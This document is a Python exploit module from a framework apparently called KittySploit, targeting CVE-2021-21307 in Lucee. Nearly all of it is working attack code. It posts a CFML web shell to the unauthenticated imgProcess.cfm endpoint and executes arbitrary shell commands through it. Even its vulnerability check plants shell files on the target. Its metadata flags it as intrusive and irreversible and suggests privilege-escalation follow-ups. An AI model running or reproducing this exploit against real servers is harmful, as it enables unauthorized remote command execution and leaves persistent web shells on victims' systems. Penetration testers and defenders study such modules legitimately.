Lucee - imgProcess.cfm Unauthenticated RCE (CVE-2021-21307)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Lucee imgProcess.cfm unauthenticated RCE (CVE-2021-21307) — opens execute session."""

import re
import secrets

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'Lucee - imgProcess.cfm Unauthenticated RCE (CVE-2021-21307)',
        'description': (
            'Exploits CVE-2021-21307 by writing a CFML shell via '
            '/lucee/admin/imgProcess.cfm?file=<name>.cfm and executing commands through '
            'cfexecute. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-21307'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-21307',
        ],
        'tags': ['lucee', 'rce', 'cfml', 'unauth', 'cve-2021-21307'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.6,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/http/cve_2021_21307_detect',
                ],
            },
        },
    }

    def _write_shell(self, name: str) -> bool:
        # imgSrc body is written as CFML file contents.
        cfml = (
            '<cfsetting showdebugoutput="false">'
            '<cfexecute name="#url.cmd#" arguments="#url.args#" '
            'variable="out" timeout="10"/><cfoutput>#out#</cfoutput>'
        )
        r = self.http_request(
            method='POST',
            path=f'/lucee/admin/imgProcess.cfm?file={name}',
            data='imgSrc=' + cfml,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return bool(r and r.status_code in (200, 302, 500))

    def execute(self, cmd: str) -> str:
        name = secrets.token_hex(6) + '.cfm'
        if not self._write_shell(name):
            return ''
        from urllib.parse import quote
        # Prefer /bin/sh -c on unix-like hosts.
        path = (
            f'/lucee/admin/{name}?cmd=/bin/sh&args=-c%20'
            + quote(str(cmd), safe='')
        )
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2021-21307 confirmed: id via imgProcess.cfm shell',
                'confidence': 'high',
            }
        # Soft fallback: endpoint reachable
        probe = self.http_request(
            method='POST',
            path='/lucee/admin/imgProcess.cfm?file=probe.cfm',
            data='imgSrc=',
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if probe and probe.status_code == 200:
            return {
                'vulnerable': True,
                'reason': 'imgProcess.cfm reachable (soft fingerprint)',
                'confidence': 'medium',
            }
        return {
            'vulnerable': False,
            'reason': 'imgProcess.cfm not exploitable',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()